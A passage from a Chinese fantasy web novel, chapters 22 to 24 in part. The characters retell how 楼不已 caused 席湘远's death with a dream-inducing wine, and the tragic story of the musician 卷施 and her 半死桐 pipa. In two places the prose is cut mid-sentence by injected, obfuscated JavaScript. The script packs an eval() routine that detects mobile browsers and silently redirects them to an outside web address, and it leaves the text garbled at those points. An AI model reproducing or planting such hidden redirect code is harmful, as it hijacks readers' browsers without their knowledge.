堂屋内的邵木匠站在邵夫人身边叉腰思考,说:“小雪的性子似乎跟了那小子之后就变了,变了很多,小时候还会甜甜地叫爹,现在只会叫爹!” 邵夫人抬头白了他一眼,说:“人都是会变的,小雪不管变成什么样都很好,谁像你一样还瞎操这个心!有这个时间能不能把老宅翻修一下,万一塌了我住哪?” 邵木匠不由分说的站出来辩解,连连解释:“不行!还能住呀,哪里那么容易塌,要是什么漏水漏风我倒是可以挡一挡,大肆翻修不成规矩呀!” 邵夫人言语实在犀利,毫不犹豫地抱怨:“这规矩啊祖上定的是不假,你能不能别那么死脑筋,你祖上都投胎几回了你还遵奉个什么劲!万一哪天家里要来什么客人,你就给人家住那褪了色的,还裂条缝的杂房,这才叫没规矩!” “我……”邵木匠被怼得哑口无言,好像是这个理,但是没什么必要,邵夫人见他磨磨叽叽的,又拉着他去储物间拿工具,进入门后,又退往其中一扇屋外修缮。 兰桡负手而来,大步迈向他们,一脸不情愿地撇嘴:“我家师姐给你们调试的温度已经很适中了,你们三个尽早去吧,今日真是有缘可享他人福了。” 楼少渊懒洋洋地说:“多谢你师姐了!我倒是觉得她的性格很有特点啊!就好比从不惯着别人!是吧兰桡??” 兰桡一脸讥讽:“你也不想想她那个师父整天让她去找什么前辈?!要不是练剑只为护身,或途中救济他人安危,反正芦荻秋才不会让她去做危险的事呢!就像这次沃洲镇之行,他让师兄去也没让师姐去,寻找那位前辈踪迹一事才是最稳妥的。” 独翊疑问:“那她怎么还是闷闷不乐的。” 兰桡随口说:“谁知道呢,她肯定也不喜欢这茬事。” 锦玉温声浅笑:“邵姑娘性情执著,虽一直听命于家师之言,行此之事,可并非池中物,只因别无选择才会安于现状,难捱多年,仍不改风云之志,或许那位门主也只想让她历练一番。” 兰桡谢绝了锦玉的后话,条件反射的扬高声调:“呵,打着历练的幌子白白浪费了这么多年,怎么就不教点好的呢!某人还奉命惟谨,我最讨厌这种虚文缛节了!也就只有她会信了。” 楼少渊嘴角上扬,朝他勾了勾手,兰桡又走到近前,反问道:“兰桡小儿!别总是我行我素好吗?我觉得你师姐比你稳重太多了!按照那几位门主所示之意,看似是让你师姐出门历练,实则就是为了你啊!” 兰桡指了指自己,眼中满是复杂的神色,沉吟片刻,有些不情不愿地说:“为了我?我不信,除了泛舟师兄,没有人对我这么好过,师姐也不喜欢我,就算是这样,她也是不得已才选择和我一起面对这些事的……我也知道。这是事实,我也认了。” 他这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15087012|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副模样极其好笑,有种想被重视却又怕这些都是错觉,楼少渊暗笑,好奇地说:“认吧认吧!再说你这前辈到底是何人?找了这么多年,一点消息全无,你们难道就没个什么模样吗?画像也成啊!苦找多年何时才到头?” 兰桡迟钝地说:“模样?这倒是没有,他就是早年楼台山,那位楼夫人的儿子!另外叫什么楼…不已?忘记是字还是名了,他离家时也才十来岁,应该也像我这个年纪离家的……外界传闻他是个天资奇才!我也是听说过这人会使道门法术,通灵禁咒,这些所涉及的道法书籍,据说也跟皇族收存过的道藏有关。” 哪怕没有任何线索甚至是画像,但此人总会来到竹塘,盗走席湘筠曾经的画作,更巧妙的是,他也能彻底分清哪些是席湘筠画的,哪些又是柳弦绝画的,如此精妙识穿法,来踪去迹也极为隐蔽,就算是独淮客或者柳弦绝,有任何蛛丝马迹也能捕捉到的妖族,他竟然也能轻易避开而不被发觉,可以说从来没有人察觉到,后来四人相聚多日,却各自都在每地奔波忙碌,不可能待上很久,只是偶尔来到竹塘待上一会,却总也逮不到这个人。 至于为何能知道是楼不已所盗,因为席湘筠知道,知道他还活着,不与相见就当他只是迫不得已。 为了防止那人再临此地,盗取席湘筠那为数不多的画作,于是柳弦绝就将席湘筠的所有画带在身上,往后的游行之路也不曾放下过。 听他讲完,楼少渊嬉皮笑脸地反指自己:“我也姓楼啊!你就从没怀疑过我吗?” 兰桡不以为然,深知此人德行:“你?还真没有!就算你是前辈生的儿子,可他和你的气质完全沾不到边,一分一毫也不相像,而且年纪也对不上!” 楼少渊底气十足,由衷地再度让他前去青山舍:“不对的吧!我爹也姓楼啊!他可是京城有名的忧郁仙人!也是很有特点的!就好比算命不准不要钱!如果你们真的想找那位前辈,大可以找我爹啊!我有门路!我不要钱!” 兰桡原想拒绝,想来这年纪也对不上,知道他在糊弄自己,但还是想追问一下:“那……你爹叫什么?” 顿时,楼少渊也想不到他的真名了,思索良久,恍然大悟,掌心顿时一拍,破口而出:“楼、楼池!字半仙!” 兰桡没觉得可疑,只觉得敷衍:“不认识,算不准不要钱???半吊子也能拿出来溜一圈?半仙不就是个卦师的称谓吗?怎么也能凑成字了?!你该不会是想借题发挥吧!” 要是楼少渊真的是他儿子,哪能那么傻? 这模棱两可的态度亦不明朗,楼少渊也是无从头绪,嘿嘿一笑:“嘿嘿,我也是道听途说。” 兰桡摆了摆头,毫不犹豫地说:“你这当儿子的真不称职。” 楼少渊假意反省,仔细回想起来也没个正形,轻叹后如实作答:“……我向来是不太称职的。据我所知,他确实也说过自己幼年离家,并未取过字,太多的他也不愿意透露了,我看过他的那些什么文身、伤疤、胎记,好在统统没有。” 独翊闭目无言,心头暗忖:“说的也太细了……” “以前他帮我洗过洗澡,呃……是共同沐浴的时候,每次打完滚回家,他都会把我按在木桶里洗刷,跟杀猪没什么两样,我哪会见过这种场面?从那之后就尽可能避免脏乱差了……” 回想到这些事,楼少渊有些哀戚,幸亏现在已经长大不少了,虽然当时也不小了,但总觉得楼半仙是有力气的,不然以楼少渊这如游鱼一般又抓不住的性子,怎么能轻易将他按在水中洗刷? 放在以往,他肯定气的不吃晚饭,在床上滚着滚着就睡着了,最后楼半仙为了眼不见为净,给楼少渊买的布料色调,挑选出来的都是较为深黑灰调,只有这样,再怎么泼墨滚灰也看不见了。 锦玉不紧不慢地说:“或许这人有过刻意隐瞒呢?” 楼少渊摸了摸下巴,微微眯眼,一脸高深莫测地开腔说:“我觉得按照话本里的走向,假如一位天才隐遁山林后,收了一位少年做徒弟,那一般是要授与什么天材地宝,神魔法器作为开门授徒的仪式,可是我什么也没有,他从来不管我!他还纵酒!一天不喝就浑身难受,他既不打我也不骂我,我跑山下水半月他都不曾打听过我的消息!就好比如今我身在东阳,他还躺在椅子上晒太阳呢!这让我自生自灭有什么区别!” 假如楼半仙真是楼夫人那位丢失的孩子,自行逃离之后也确实该隐遁山林,而不是在京城这种显而易见的地方生活,着实显眼,兰桡一阵无语:“……你该不会有什么特殊癖好吧……” 邵为雪也从兰桡身后冒出,险些怀疑自己听错了:“难道你要被打才会安生吗?” 独翊哭笑不得:“楼兄,这换成谁也管不了你啊……” 锦玉神色复杂,礼貌说:“如果他从未离去过,如今的楼台山也会有他的一席之地,敢问他为何要这么做,要离开家乡呢?” 说完,大家也绕回了最初的记忆,就是这楼不已为何要离家出走?这么多年了,怎么也不回来看看家中父母,若只当是近乡情怯,有所顾虑,这也不是多年离家不归的理由,其中又有何难言之隐? 思量之间,兰桡凝住了,突然看到多双眼睛饶有兴趣地盯着自己,故作矜持地说,却表现的不太自然:“呃……你也是那么想的吧?缘由就是……他亲手杀了人,更令人震惊的是!这个人不是别人,而是席湘筠的亲弟弟……!” 23. 半死桐 闻言,众人皆是一愣,完全没有想到竟然还有这等内情,既然如此,为什么会变成这样?见多人欲求答案,随后兰桡解释说:“他是因醉酒入梦而亡,楼夫人曾经研制过有种叫“入魂酒”的东西,据说可以一醉入梦解千愁,我怀疑喝了这酒之后就可以进入一处虚空的梦境,至于制作方法我也不清楚,应该也要加入一些中医药理调适吧,用料过猛或者陈酿未到时辰,指不定发生什么呢,这酒原先也是为了调理那些不得安睡之人,甚至是手脚冰凉不好入睡,喝酒暖身子才制作出来的,如若用酒灌醉此人,就可以进入梦乡了,如果不胜酒力,不能定神找出破绽冲破梦境,就会在梦中死去。” 曾经,席湘筠带着他弟弟到楼台山拜师,而楼不已在此途中与席湘筠相识,与他关系相交甚好,但楼夫人并没有答应过要收二人为徒弟,在楼不已的多方恳求下,只能让他们暂住楼台山,在得知席湘筠是卷施之子时,她的心神也是晃了晃,在潇湘之地曾出过一位女子,她清楚此女的来历,虽说地位有限,但是在民间的威望却不小,一切都是料想不到的,最后还是决定收他为徒,身边的小弟年纪尚小,说是往后再做打算。 成为了门内好友后的三人经常在青山角练习道术,楼夫人也会抽空拿出几本道藏书籍,让他们自行悟会,青山角的风景固然美丽,可是作为一处山鬼野林,并未开辟也不好深入,几人只能在林外翻书作派。 有日楼不已在楼夫人的屋里寻了一坛美酒,以自家母亲的洞察力,在她屋里头喝了定会察觉到异样,那日他便写了一封信给席湘筠,提到自己今日会先行去青山角等候,说有件好玩的大事等着他,他想,如果以席湘筠的性子,定会先行和母亲沟通,自会打消疑虑吧?没准看在席湘筠的面子上,真的只是练习去了。 信上只留下尾字:席。 原先和席湘筠玩的特别好的时候,也会进行雕刻字印,有想过将他的尾名刻上去,但是按照他母亲的脾性,没准某天就被翻出来,他和楼夫人之间的代沟可不小,因为楼不已觉得无伤大雅的事,楼夫人确实有些计较,会说他不堪造就,到时候或许会连累席湘筠,他在闲暇之际,偷偷石刻了一个“席”字,这个“席”也当作是和席湘筠的联系,就算是翻出了,一个席也证明不了什么。 毕竟再怎么闲,也没有楼不已闲的离谱吧。 他在树下等了许久,心中按耐不住,于是拿出了两只茶杯放在石桌上,将它前后倒满,相对放置,等待席湘筠守约,深知他是个磨蹭的性子,于是先行小酌下怀,也总觉得自己不会醉,可没一会就上瘾了。 半梦半醒间,一道脚步踩碎枯枝的声音传来,身影缓步而至,来人正是席湘远,这人眉目清秀,虽然与席湘筠并不相似,眼神依旧清澈,挪步轻喊着:“楼师兄?” 楼不已早就困的抬不起眼睛,也分辨不清来人了,只记得请的是席湘筠,听这声,怎么又不太像了?但是没写错,应该错不了,他眉间有些昏沉起皱,来晚了!潜意识中见他没爽约,又平舒开来,打了个手势:“你可是比我大呢?叫什么师兄?不过我就情愿当老大!既然……你如此尊敬我,这番等候也值了,那你也请坐!请坐……席师弟。” 席湘远也是无意瞥到那封桌子上的信件,他也并不知晓这是写给谁的,但尾字留“席”,还未猜测是否是自己还是哥哥,因为好奇,还是按照信上约定的地点找了过去,所在地刚好是三人经常一起练习的方位,见楼不已一人卧倒买醉,难道是有心事? 见况不妙,席湘远连连摆手又倒退摇头,刚要转向树后躲闪,却被瞬间起身的楼不已一手抓了回来,转眼尴尬一笑:“我……不行!我不会喝的,楼师兄,你比我厉害多了!” 楼不已还沉溺在酒中,笑着胡乱说:“不……!!我娘说你也挺厉害的,就是哪哪都厉害!你学什么都快!但是呢……酒量这方面就不能比我好了,我是个不爱吃苦的,差点就等不起你了,不过今有美酒耗时,有你作陪,也不错。” 席湘远一开始觉得只是浓茶,但以楼不已的性子,必然没有那么简单,急忙又摇头:“我真的不行!我不会喝酒的!” 等到楼不已翻身,拿酒递到他眼前,见他抗拒,不愿喝下,忽而将他的肩又一搂紧,等到杯子都要送到眼睛里了,席湘远紧闭双眼,颤颤巍巍地接住,这才罢休,举到面前轻嗅酒气,居然没有酒气的浓烈,而是草木清香,他才眯眼小嘬了一口,味道是甜的。 “扭扭捏捏的像什么样子?我何时骗过你了?你怎么不打我了?这怎么不太像你了?真奇……?诶对!好喝么?乖师弟?” “好喝……” 楼不已嘴角微微上扬,点了点头,见他尝试到了,便悠悠坐回原位,撂下酒瓶,倚靠着树睡去,最后打瞌时看了一眼席湘远,就彻底闭上眼睛了。 “做个好梦,席师弟。” 一人斜靠着树睡去,一人趴在石桌上沉沉睡去,等到楼不已醒来,刚见初晓微亮,先是远视了还未觉醒的深山,忽然暗中有阵寒风吹向他,一阵凉意下肚,一夜无盖被,凉飕飕地总感觉要肚子疼了,这才发现对面趴着的人还未醒来,于是推了推他,他侧头一瞧,微微震惊,这人竟然不是席湘筠! 席湘远!楼不已靠近他耳朵喊了一声,仍旧没有动静,甚至是并没有要醒的迹象,于是抱着怀疑,摸了摸脖颈处,可以说触摸到身体的一瞬间,这人早已冰凉透骨,突然又开始回味,他的嘴里还残留酒意,霎时心一沉,背后也渐渐开始发寒。 那日他脑海里想的是,是否要去请罪?以楼夫人的性子一定不会让他好过,从出生这刻起,不知父亲是何人?虽然知道母亲是皇族出来的人,但是她坚决不会让他踏入皇族一步,这些年来的性子与楼夫人总是背道而驰,所以当今之计就是!跑!破罐子破摔……杀人可不是小事,虽然他与席湘筠相交甚好,如果被他知道席湘远的死和他有关,徒费口舌去寻求解释,更好不到哪里去,毕竟他弟弟是他留在世上,唯一的亲人了。 于是这位少年还未在太阳升起时,离开了潇湘,从而游遍各地,再也不敢招摇,在楼夫人看来,这个儿子并无一丝悔恨可言,于是她在知晓真相的这刻起,打破了屋中所有入魂酒,对外扬言将楼不已逐出楼台山,甚至牵动皇族,告知来人,往后再也没有楼不已这个人了,事后多年,楼夫人也没有找过楼不已的踪迹,直至而终。 楼少渊紧紧捂住嘴巴,装作惊讶状:“这么邪门?!这席湘筠岂不是恨他入骨?费尽心思找到他……难道是想把他千刀万剐?!” 兰桡勉强扶额,仍是无语:“不清楚,本人应该没有这个意思,他这个弟弟与他也并不是一母同胞,而是他生父与后母所生,这一路走来也是个累赘,其实死个不同娘的弟弟也没什么,这么多年了,席湘筠也是走出来了,楼不已却活的不坦荡,我总算是明白了,其实他们三个奉劝我与师姐行此之事,也不完全是要找楼不已,不然他们既然明白他的行踪很难捕捉,怎么会让我们两个初出茅庐的找那么多年?完全就是不想让我们进入到这些纷杂之中。” 这旁的独翊和锦玉齐齐点头,露出了一副“孺子可教”的态度,邵为雪则是面色复杂,难以言喻。 楼少渊将兰桡指引到八仙桌上,四面皆有长凳,一张长凳可容纳两人就坐,于是与他坐在同一条长板凳上:“还有这等缘故?” 其余三人也顺势一人一边坐下,听着兰桡认真地说:“是啊,这席湘筠的生母是永州人,名为卷施,据说是九嶷山那一带的,在当时的永州也是名噪一时的才女,她幼年时前往揭阳学曲,入了一支民间乐馆成为乐师,在乐馆习曲时,她人最擅拨五弦琵琶,当年宫里有人传唤伶官前往民间,途中招揽了许多乐馆戏伶,其中的乐团之中,就包括这位叫卷施的女子,那日杏林宴上,她与乐师们齐坐高台,因齐奏《出水莲》闻名遐迩。” 来到京城后,此番杏林宴上的席生得此进士,一甲三人,位列第三,得名“探花”,后遇卷施,一见钟情,一开始卷施觉得此人徒有其表,并无实干,此次入京,奏完宴中乐事,事后决定回到永州,她想与揭阳乐馆的老师在永州创立一处新的乐馆,随后永居九嶷山,而席生为了追求卷施,掷万金,弃官名,这情意只增不减,于是开启了求妻之路。 有人说,卷施不愿与席生的母亲同住,所以那些时间,席生往返二地,似乎在卷施面前,也没有任何怨言。而带领过卷施数年的老师,最后也只能赠送琴瑟二物祝好,并无意向同往,于是返回揭阳。 沉默片刻,兰桡忽然清醒了一件事:“我觉得他最真挚的一面,也就是将半死桐木制成琵琶送给卷施,不然你觉得她能看得上他?” 楼少渊也摸着下巴思考:“半死桐木……?我以为用青桐木做的古琴已经足够珍贵了,没成想还有那么奇怪的树木,如果要到这种地方找一棵半死不活的树,耗费的精力可不少吧?” 兰桡也端正表态:“不错,如果用一棵岁长至百年的青桐古木斫制成琴,做出的古琴不仅余音悠远,犹有草木之韵,更不失刚劲,也有部分琴客或者斫琴师认为青桐木是最适合制成琴的,据说相传在龙门山一带,生长着一种桐树,这桐木之根半生半死,也被称之为“半死桐”,于是将其伐之,得此殊材后,也因这半死桐其材独特诡奇,本应任凭自身意愿行之,并非投其所好,可席生制成的并不是古琴,而是卷施最擅长的琵琶,若是精制成一把琵琶,为求古书存真不虚,先后与桑蚕比对,最后决定用柘丝作弦,每做成一条丝弦也得经手千条万缕的蚕丝,不仅要细致入微,这条理之间,少说也得一年半载甚至取于多数,大功告成后,他愿用此琵琶取悦这位美人,为博得美人芳心,当即立誓,若是再得此殊材之木,就算散尽家财,再耗时三五年也绝不吝惜,席生将半死桐赠与卷施后,在她得知席生心意不假,思绪乱象时,月夜之中将这半死桐拨弹三两声,入妙音之悦耳,可静音定神,褪去一身忧烦,治人心魄,外界称之为山水音,后以半死桐定情。” 当然,此外也有一段传闻,据说这席生在当时的杏林宴上偷偷注意着这位乐师,总会找机会描绘她容貌,情投于卷施,以画定情。 不过众人更相信半死桐定情一事,却再无人敢爬上那曲折陡峭的怪道之山,寻得贵材之木做成器物,可卷施年纪轻轻就撒手人寰了,传闻的最后,这半死梧桐也不过悲情二字而已。 楼少渊戳了戳他的肩膀,细问:“那个……我想请问,卷施是怎么走的?” 兰桡白了他一眼,不予理会,抬头看了一眼其他三人,说:“你们想听吗?” 三人异口同声表示:“想听。” 楼少渊拿手在他面前晃晃,想让他注意到自己:“哎哎!我也想听的!!不过你怎么知道这么多?” 兰桡挑起眉眼,见他无知无畏,轻笑着说:“你真觉得我会傻到天天去找一个没消息的人?我可是外族人,自然是要打听这山间遍野了。” 说罢,听见“外族”二字,楼少渊像是被打了鸡血一样,猛然站起身做出防御的手势,接连退避三舍:“哪里的外族人?” 当一头失去平衡,兰桡也是措不及防地摔了一跤,好在一旁的锦玉本能的扶了他一把,算不上仰面朝天,他还没起来就想破口大骂,但还是忍住了,强装镇定地说:“还能……关你什么事,哎,待会跟你说!据说这卷施是被蒙冤受屈后自焚而亡,死去的那个地方,名叫连云客栈,也就是一开始是要开乐馆的地方,也不知怎么开了家客栈,那年刚好是席湘筠出生不过五六月,据说她就是死于窗台边,临死前挑断了席生送的那把半死桐上的琴弦,扔于高楼之下,最初把席湘筠放入竹篮,转移到离屋极远的一棵柳树之下,火烧猛势之时先注意到的是一个小孩子,然后他大声疾呼喊叫,心急如焚,从而引来了许多孩子,后面火势爆发愈发迅猛,村里的所有人都赶来灭火,直到他们发现了柳树之下啼哭的席湘筠,将他抱回了席生家中。最后等到席生赶到,他原本想把卷施的尸身带回家中停棺安放几日,随后埋葬,惊疑的是,当时有个孩子站了出来,不让他带回卷施尸身,随后又来了很多孩子,叽叽喳喳的不想让他带走卷施,他也无法计较那些孩子之间的争吵,后来席生说了句什么来着?我忘记了。” 而后再也无人敢阻拦了,最初的那个孩子,只能愣在原处,当有人经过连云客栈时,他就守在连云客栈里面,加上还有一些粗木没有烧断,大雨连绵多日,最后楼房倒塌,也不知道他是死在哪了,还是不知去向,众人也不知道他是卷施的谁。 因为他深知,他也无法。 楼少渊刚好可以坐中间了,刚想拍拍凳子让兰桡坐下:“蒙受冤屈?是什么样的冤屈?” 兰桡索性不坐了,抓了抓脑袋,开始围绕着八仙桌来回转悠:“我也不知道啊,反正那套为爱而焚的谣言我已经不信了,应该是和民间的琐事有关吧?我好像记得有个也叫半什么的有关的,不是半死桐,我想不起来了。” 正当他思考着,无意中瞥见邵为雪手上的刺青,晃神间,兰桡指着她的左手,说:“哦对对!是师姐手上的半边莲!” 众人探出头,齐齐看向她的手,邵为雪想起,这是幼年时芦荻秋给她纹上的刺青,当时她也问过有什么寓意,芦荻秋给她的回答则是,只愿她往后能够像莲花一样“出淤泥而不染”,还有一个点是,如果哪天独淮客发疯变回原形咬了她,找到此花也能缓解毒性,反正再怎么说也不会是第二个答案,这莲花印的呈色较为浅粉,接近肉色,似乎只有莲瓣是有色泽的,远看亦不明显,说:“他确实说过此等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087013|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “莲花”寓意,不过我也怀疑过刺青特殊,甚至是个标记,可是不知到底有何用?” 兰桡摇了摇头,对半边莲的事情也是一知半解:“我也忘记了她和半边莲有什么关系……应该是个民间组织,也是很多年前的事儿。” 楼少渊将手掌压在桌子上,着急地说:“那半死桐呢?这个宝贝该不会坏了吧?” 兰桡面不改色的说:“那倒没有,卷施既是旧主,这半死桐绝弦后作为席湘筠母亲的遗物,席生死后,席湘筠和柳弦绝将它收入了竹塘,隐约记得,偶尔也能在竹塘中听到半死桐之音,声曲最是妖异,变化多端,还有焚烧时的裂木之声,是不同于卷施活着的时候那种妙音,众人有可能也多虑了,半死桐既已断弦,因旧主已消亡,没有再沾活气弹奏,它也随之腐烂,郁闷时刻,独淮客却想到将自己身上最硬的那片蛇鳞拔下,施法将其护在半死桐表面,那半死桐整面就形成古铜色的屏障,虽然半死桐已经停止腐烂了,被注入灵力后又恢复原状,竟然开始日夜颠倒的不停弹奏,于是芦荻秋就将半死桐放入一种能平息镇魂的木质琴盒中,这盒既能隔绝天地妙音,也能隔绝桐木生死,于是半死桐再也没有发出过声音。” 独翊若有所思,说:“如果说是半死桐因为缺少丝弦才日夜不停奏曲呢?既然如此,那为何不将半死桐重新系弦?” 兰桡一脸看透的神情,摇头说:“我怀疑半死桐是沾过卷施的血才会显灵,再用柘丝换上新弦也没用了,一旦有新弦系上,隔了一段时间就会化成灰,即便柳弦绝取自己的柳条作弦,就算有灵力加持,半死桐木不知年岁多深,以他的灵力自然是比不过半死桐的,或许是旧主亲自挑断琴弦,弹奏时似有还似无,半死桐也不知何处寻死生,或许它也无意再还生了。” 众人恍然大悟,原来这半死桐早已化成玄灵器物,想必卷施生前也很宝贵这把琵琶,可绝弦之事并非半死桐之意,可她为何能够做到如此绝情,至今缘起缘故无从辩解,还是故意为之呢? 楼少渊搭腔问:“席生没全名吗?” 兰桡不情不愿地说:“有吧,席生是庐陵人士,当时中进士后,县志有过记载,我也不知道全名,这些都是在永州话本中流传的,版本一二甚至更广,卷施和席湘筠这对母子,前后者也算得上是名胜一时了,相反这个席生却并无太多记载,就说当初散尽家财为斫木一事比较惊动世人,旁人也并无意向去谈论他的私事,那是因为卷施死后他就另娶了,还好这永州人呢,毕竟邻近,也多少知道一点,有的说卷施还是早点走吧,这席生不是个好东西,活着也是够呛,二人的感情多年来始终颇具争议,旁人自诩席生深情一世,死后与卷施同葬于九嶷山下,而引出了卷施也有一些为爱而焚的谣言,编撰了许多“投去琵琶灰飞尽”的话本,你要是在永州那些小店坐上几天,看你是外乡来的,指不定告诉你这些纷杂事,作为真人真事真奇谈,还且分为两派,一些人将席生和卷施奉为才子佳人,一些有论的,后者则是觉得才子佳人就应该是席湘筠和卷施,她与这席生之间的真相就不好辩驳,太乱了。” 楼少渊忽然纳闷:“这些事偏就矛盾,感觉怎么做都会传出各种不同的声音,当时他过的应该很苦吧?” 兰桡以为各执己见,顿时不满:“这还苦?” 楼少渊捂上嘴,赶忙摇头:“不是这回事!我是说那个席湘筠。” 兰桡毫不掩饰地说:“应该吧,反正席生遭遇了火灾还是什么,整个宅院全被烧了,后妻也死了,还有席生他娘,活活被烟呛死的,那个后娘把席湘筠和她儿子护出去,反正也死了,席生是瘫痪了几年,之后也没了,不知道是得罪了谁,我看还不如叫瘫痪郎呢,这席生死的也不冤,卷施离世后也没查明真相如何,没几个月就在众人的劝说之下续弦了,鬼知道他是晚年后悔还是什么呢?让旁人在他的墓碑前刻:席生与爱妻卷施同葬,了了一生。后面他的坟还被人敲烂了,卷施墓竟然在九嶷山分布数以百座,谁知道哪个是真卷施墓?席湘筠就是每年去九嶷山走一趟,拜拜他娘什么的,之后就是他弟被楼不已杀了,楼不已畏罪潜逃,最后这些年席湘筠一直在找他,没了。” 打听了良久,楼少渊情不自禁说:“你说的真轻快,毫不费力。” 兰桡双手抱臂,斜眼应答:“又不是我害的,毫无保留地告诉你了,还反倒觉得是我无情吗?” 楼少渊连连抱歉,还是忍不住说:“我不是这个意思,是听你讲的这些事情特别有意思,没成想还有那么一段过往,不过在席家的生活总感觉怪怪的,要是他也能早点离家,也不至于遇到这些难以抉择的事。” 兰桡挠了挠后脑勺,收敛了一下神情:“那肯定,正所谓有后母就有后爹,他不清楚,难道别人就不清楚了么?这堪比寄人篱下好吧?所以只能将希望寄托在多方亲眷身上,父亲自从当了闲人不管不顾,那便寄希望于后母,可后母也是有自己的孩子……卷施不愿与席生母亲同住,我猜也是那一层关系,自己儿子连官名利禄也不要了,简直就是把自己的一辈子都搭进去了,整天围在卷施身边转,要是卷施和她住一起,指不定会闹出什么幺蛾子,或许卷施死后,让他另娶也是席母的主意,咳咳!而且啊,听说席生还打老婆呢?反正是说肯定是对老婆不好,家宅遭殃了!我记得蛮久之前,席湘筠的身上还有很多伤痕,他说是小时候摔得?摔得那有那么惨?也说是习武时弄的,他弟弟既是梦中而死,身上却也有多处伤痕,反正不清楚。” 事后独淮客想用灵力帮他减轻伤痛不留痕,因席湘筠体质较差,渡入灵力后也撑不住多久,有时候早早的醒来不见人影,有时候睡的却很沉,三人蹲在他床边注视半天也不见反应,生怕他在梦中死了,他们只好捣鼓了一些草药去调理他的身体,又隔了好些年才退去伤痕。 卷施与楼夫人处于同一时段,也不知道她们是否见过,但卷施殒命较早,楼夫人性情不佳,时常独往独来于洞庭湖一带,两位女子在潇湘之地享有盛誉,如今要问是否相识过,也已经太晚了。 有人也疑惑,似乎在她们身上留下的一切,她们的孩子没得到半分,也有人会认为,他们不及卷施与楼夫人半分,可人心不同,各如其面,一代风流已过,如今闻名于此的零陵丹青子、莲城荻花秋、衡阳淮江客、武陵断弦柳,其中皆有良工巧匠,字画双绝,纵目潇湘,自有来人。 席湘筠在民间的流传中早已绝笔,据说此人心性自如,为善君子,如若有人遇到他时想请教一番,他人也是毫不吝啬的,四人并聚楼台山后,相互拆明身份后的关系也是相当和谐。 等兰桡说完一切后也是恍然大悟,原来其中还有这等缘故,然而,卷施的名字也极有寓意,其意等同于一种草木,相传此草拔心不死,可见其生命坚韧,九死不悔。 24. 玉不琢 说着说着,原以为趁着兰桡不会注意,楼少渊也起身跟在他后面亦步亦趋地走,声音轻细不留余音,等到兰桡停步扫视桌面一圈,察觉有此异样,躲在背后的楼少渊暗自庆幸着捂嘴偷笑,就等兰桡转头,那就可以吓一吓他。 前方忽然加快脚步,他也快速跟上,兰桡又猛地停住,这一顿又让他措不及防地撞了上去,磕到了他的后脑瓜,楼少渊“哎呦”一声,也呲牙咧嘴的搓了搓下巴,兰桡揉了揉后脑儿,不怎么疼,就是有点晕晕的,转头藐视他:“你干嘛一直跟着我?要是真没事还且闲得慌?!那就去扫地好了,你吃人家的住人家的,没给钱还收留你就不错了!” 楼少渊扯了扯嘴皮子,做了个鬼脸:“我凭什么要去?你也不是这家的人吧?你除了你师姐还能倚靠谁呢?我好歹也是邵伯请来的,不睡一觉洗个热澡哪能这么容易走?” 他太蛮横无理!兰桡随之正颜厉色:“你说什么?我才没有这样!这是你师姐还是我师姐?你倒是学会反客为主了,对谁都有理,却不要脸!” 独翊尴尬一笑,也坐不稳了,起身作势空扫了两处:“那个……楼兄,我先去扫个地。” 锦玉移凳摆正,拱手离去:“刚才的空碗还摆在屋里,忘记一并收走了,失陪。” 邵为雪也倒退两步,转身去擦剑了。 兰桡怒极反笑,又将矛头对准了楼少渊:“你们这些人……!真勤劳假勤劳我还是看得出来的,你怎么还不走?等着从我嘴里扒出些什么?早就看你不顺眼了,走的怎么不是你?!” 没成想兰桡早看自己不顺眼了,可楼少渊全然不在意,很是愉悦地抱之常态:“我?我不走,不堂而皇之的住上十天半个月,岂能撒手?再说三位都是举手之劳,有事便去做了,看你心思极重,一定装了很多故事吧?另外我也想听听你的经历,能不能告诉我?我也可以告诉你一个我的秘密,要么你问,要么我随便说一个,至于价值是否等同,这都不重要,你要是觉得亏的话,我多说几个也成!” “哪有你这样的!”正想脱离他,兰桡连忙跑到院子里,在柿子树下捡了根木棍,这是昨天自己一个人玩过的,于是又将它捡了起来,继续把玩,楼少渊也跟了上去,顺势靠在树下。 想到这,兰桡便摸透了楼少渊是个自来熟的性子,想来早已熟悉惯了与谁都交浅言深,直来直去怕是对谁都这样,即便话不投机,如果别人不能说出一件令他满意的,他总觉得别人不愿意与他深交,多番纠缠下别人也只能出编好听的话来堵他的嘴。 “我没什么好隐瞒的,就算让你知道又怎么样?你又不懂……”兰桡拿着一根小木棍蹲在地上画画,顶端是被火烧过的,形成焦炭后自然能写出痕迹,见他不走,绞尽脑汁想了半天,只好侧头说:“……你娘呢?” 楼少渊看他画画,等到他画出了一道圆圈,听到这里有些淡然:“我娘很早以前就走了,我没见过她。” 兰桡淡定地说:“哦。” 楼少渊反问:“那你娘呢。” 半晌,兰桡低声呢喃说道:“我也不知道,我不是这里的人……我来自西羌。” 楼少渊怎么也算留意过,却对这些事并不带有争论:“噢,我知道这个地方,西羌多年前似乎有战乱呢?你会驯鸟的本事,这也是你们那的?” “……是从一段分支中逃出来的。” 他拿木棍的手顿了顿,言语有些混乱了,声音也变得模糊不清,兰桡眼中闪过一丝惧意,赶紧埋下泪珠,抽泣声也被暗哑压制,“不错,咕咕也是其中之一。” 可还是滑下一滴眼泪,落入土中。 